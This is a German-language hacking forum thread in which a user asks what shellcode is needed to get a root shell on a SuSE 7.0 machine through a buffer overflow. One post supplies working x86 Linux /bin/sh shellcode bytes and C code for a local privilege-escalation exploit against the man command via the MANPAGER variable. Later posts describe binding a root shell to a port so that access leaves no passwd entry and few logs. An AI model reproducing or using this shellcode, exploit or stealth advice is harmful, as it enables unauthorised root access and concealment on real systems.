Ergebnis 1 bis 15 von 15

Thema: shellcode

  1. #1
    Member
    Registriert seit
    Feb 2001
    Beiträge
    87
    Renommee
    10

    Post shellcode

    was muss eigentlich so im shellcode bei einem bufferoverflow stehen wenn man an ne rootshell auf nem suse7.0 rechner will...
    mfg
    The Thief

  2. #2
    Registered User
    Registriert seit
    Jun 2000
    Beiträge
    340
    Renommee
    22

    Lightbulb

    Original erstellt von Thief:
    was muss eigentlich so im shellcode bei einem bufferoverflow stehen wenn man an ne rootshell auf nem suse7.0 rechner will...
    mfg
    The Thief
    1.) Eine Zeichenfolge, die ein bestimmtes Service überläd

    2.) Eine Zeichenfolge, die /bin/sh oder /bin/bash an einen bestimmten Port bindet, oder es direkt über das remote Service piped.

    Und das alles in ausführbarem Code.
    Wenn du also nicht in C oder ASM für Linux versiert bist, kannst du's vergessen


  3. #3
    Registered User
    Registriert seit
    Aug 2000
    Beiträge
    470
    Renommee
    19

    Post

    To Arzy:

    Mach mal ein kleines Beispiel damit ich mir dat besser vorstellen kann. Wie kann man dat einen bestimmten Port binden?

  4. #4
    Member
    Registriert seit
    Feb 2001
    Beiträge
    87
    Renommee
    10

    Post

    ja bitte in c kannste alles hinschreiben aber asm check ich noch nich so lad mir grad par tuts runter
    also ich stell mir das so vor:
    größer puffer mit shellcode wird geschickt puffer überschreibt zielpuffer gibt als rücksprungmarke für den prozessor die des shellcodes an und fertig nur ich will mal gerne wissen wie man den shellcode in c schreibt wenn das überhaupt möglich ist....
    mfg
    The Thief

  5. #5
    Registered User
    Registriert seit
    Jun 2000
    Beiträge
    340
    Renommee
    22

    Post

    Die gängigen Exploits machen das eh.
    Hier ein kurzgefasstes beispiel für ein Local Exploit (für Redhat) gegen das Man Kommando:
    Es wird der Shellcode in die Umgebungsvariable geschrieben, die das Man Kommando verwendet, und somit dann vom Programm ausgeführt.
    Code:
    char *execshell =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    /* ë^‰v1ÀˆF‰F°‰óNVÍ€1Û‰Ø@Í€èÜÿÿÿ\bin\sh */
    Da das Man Programm mit GID 15 läuft, führt es Programme mit Root Rechten aus.

    Code:
    noplen = BUFSIZE - strlen(execshell);
    memset(buf, NOP, noplen);
    buf[noplen+1] = '\0';
    strcat(buf, execshell);
    setenv("MANPAGER", buf, 1);
    Der Shellcode wird in die Umgebungsvariable gesetzt.. und...
    Code:
    execl("/usr/bin/man", "man", "ls", 0);
    Das Programm wird ausgeführt.


    Das war das simpelste Beispiel was mir dazu eingefallen ist. Bei Beschwerden, oder sonstigen Rückmeldungen über dieses Posting, bitte ins Board schreiben. (Das gilt besonders für dich Bernie)

  6. #6
    thaberni
    Guest

    Post

    <schnip>
    2.) Eine Zeichenfolge, die /bin/sh oder /bin/bash an einen bestimmten Port bindet, oder es direkt über das remote Service piped.
    </schnip>

    das ändert nichts daran, dass dieser satz absoluter schwachsinn ist ....


  7. #7
    Member
    Registriert seit
    Sep 2000
    Beiträge
    48
    Renommee
    10

    Post

    Thief:
    So wie Du Dir das vorstellst, ist das schon ganz richtig. Einen Shellcode brauchst Du aber in der Regel nicht selbst zu programmieren, da es hierfür überall bereits für alle denklichen Systeme fertige im Internet gibt. Schau doch mal auf

    http://julianor.tripod.com/

    hier gibts jede Menge Tuts zum Thema Buffer-Overflow. In C kannst Du übrigens keinen Shellcode programmieren.

    Das was Arzi hier schreibt, hörst sich unheimlich schlau an, besonders der Satz:

    2.) Eine Zeichenfolge, die /bin/sh oder /bin/bash an einen bestimmten Port bindet, oder es direkt über das remote Service piped.

    Zeugt aber leider eher davon, dass er absolut keinen Plan hat und sich den Quelltext nur mal kurz irgendwo heruntergeladen hat. Wenn Du wirklich was über Hacken lernen willst und nicht nur schlau labern (gell, Arzi ;-)), solltest Du mit einem der vielen verschiedenen Wargames anfangen. Schau doch mal rein bei:

    http://mainsource.labs.pulltheplug.com

    Hier gibt es verschiedene Levels zum hacken (über telnet). Ab level 9 oder so fangen dann die Overflows an, für die du dich interessierst. Kannst ja mal im IRC reinschauen (irc.pulltheplug.com, #mainsource). Ich bin dort auch sehr oft.

    Cja




  8. #8
    Registered User
    Registriert seit
    Jun 2000
    Beiträge
    340
    Renommee
    22

    Question

    Hmm du könntest doch erläutern, WAS an dem Satz so falsch ist

  9. #9
    Member
    Registriert seit
    Sep 2000
    Beiträge
    48
    Renommee
    10

    Post

    Ja, gerne:

    Der Shellcode ist nichts anderes als ein Maschinensprachecode als ASCII-Chars geschrieben, der in aller Regel eine Shell öffnet. Die Shell hat dann natürlich auch die UID bzw. GID des Programmes, das in diese Shell (per Overflow oder wie auch immer) verzweigt. In C ist das nichts anderes als:

    system("/bin/sh");

    Mit an irgendwelchen Ports binden, Pipen oder Services überladen hat das sicherlich nichts zu tun.

    Vielleicht könntest Du ja mal erklären, was Du damit eigentlich meinst.



  10. #10
    Registered User
    Registriert seit
    Aug 2000
    Beiträge
    470
    Renommee
    19

    Post

    Sieht aus als wär dies ja schon fastn elite board :-)
    Bin ich dumm oder was? Schreibt mir das bitte nochmal in Deutsch *G*

  11. #11
    Registered User
    Registriert seit
    Jun 2000
    Beiträge
    340
    Renommee
    22

    Lightbulb

    Vielleicht könntest Du ja mal erklären, was Du damit eigentlich meinst.
    Ich meine damit, dass man durch den Shellcode einen Port öffnet; /bin/sh startet, und die Ein und Ausgabe an einen Port umleitet. In Windows nennt man diese Methode Pipen und kann über die APIs
    [CreatePipe, ConnectNamedPipe, uea.]
    (auf sowas möchte ich eigentlich allgem. hinaus) angewant werden
    (Die Netbus Funtion Application redirect ist sicherlich allen bekannt. Hier wird die Command.com Eingabe/Ausgabe an Netbus umgeleitet und dieses Leitet dann das ganze über einen Port in Internet, und so zum 'Hacker').

    Ich tu' mir schon mit der Windowsmethode schwer, drum konnte ich schwer ein UNIX/LINUX Beispiel geben, dafür aber hab' ich ja oben ein Beispiel geschrieben, dass einfach /bin/sh startet. Mehr schrieb ich nicht dazu.

    Sollte es das Pipen unter Linux NICHT geben, wäre mein Satz natürlich wirklich Unsinn. Aber dazu werde ich mich noch gründlich selbst informieren, da ich glaube so einen Code schon einmal gesehen zu haben.

  12. #12
    Registered User
    Registriert seit
    Aug 2000
    Beiträge
    4.984
    Renommee
    903

    Post

    moin,

    selbstverständlich gibt es pipes unter linux! named pipes heissen da aber FIFOs(first in first out) und werden mit pipe(...) erstellt.

    wird übrigens meisst beim programmieren dazu benutzt zwei threads, oder zwei programme mit sich kommunizieren zu lassen. stellt auch die älteste methode dazu da.

    mfg

    etuli



  13. #13
    Registered User
    Registriert seit
    Jun 2000
    Beiträge
    340
    Renommee
    22

    Thumbs up

    Na also!

    Und der Vorteil liegt (zumindest bei lokalen Exploits) wohl klar auf der Hand:
    Wenn man ein Programm exploitet, mit einem Code der die Shell an einen Port bindet (genauer gesagt, der die Shell mit sich verbindet, und selbst an einen Port gebunden ist) braucht man sich nicht immer ins System reinzubegeben, sonder kann über den besagten Port als root zugreifen:
    Kein Eintrag in die Passwd bzw. Shadow, und keine erwähnenswerten Logs.
    Nur mit Netstat und PS wird man wahrscheinlichst sichtbar sein.

    PS: Damit widerlege ich hoffendlich den angenommenen Schwachsinn meines obrigen Satzes

  14. #14
    Member
    Registriert seit
    Feb 2001
    Beiträge
    87
    Renommee
    10

    Post

    danke @ all
    torvald meldest du dich mal bei mir
    mfg
    The Thief

  15. #15
    Registered User
    Registriert seit
    Jun 2000
    Beiträge
    3.826
    Renommee
    551

    Post

    hmm, da ich es heute mal weider gebracuht habe und da es gerade passt. wenn ihr mal in linux seid schaut euch das prog openports mal an (nur als kleiner tip für die leute die bisher netstat benutzten um anzeigen zu lassen welchen ports offen sind )



Aktive Benutzer

Aktive Benutzer

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)

Ähnliche Themen

  1. Shellcode mit Textausgabe
    Von Dr.Phil im Forum Malicious Code
    Antworten: 9
    Letzter Beitrag: 23.01.2006, 08:30
  2. My shellcode - xor problem
    Von NoRiskNoDisk im Forum C / C++
    Antworten: 5
    Letzter Beitrag: 24.04.2005, 15:24
  3. [ASM] Shellcode - LoadLibrary smasht shellcode
    Von elrik im Forum Systemnahe Programmierung
    Antworten: 6
    Letzter Beitrag: 13.11.2004, 00:31
  4. ASM to Shellcode
    Von master2000 im Forum Systemnahe Programmierung
    Antworten: 10
    Letzter Beitrag: 29.09.2003, 01:31
  5. shellcode
    Von Bigor im Forum (In)Security allgemein
    Antworten: 7
    Letzter Beitrag: 28.02.2002, 13:37

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •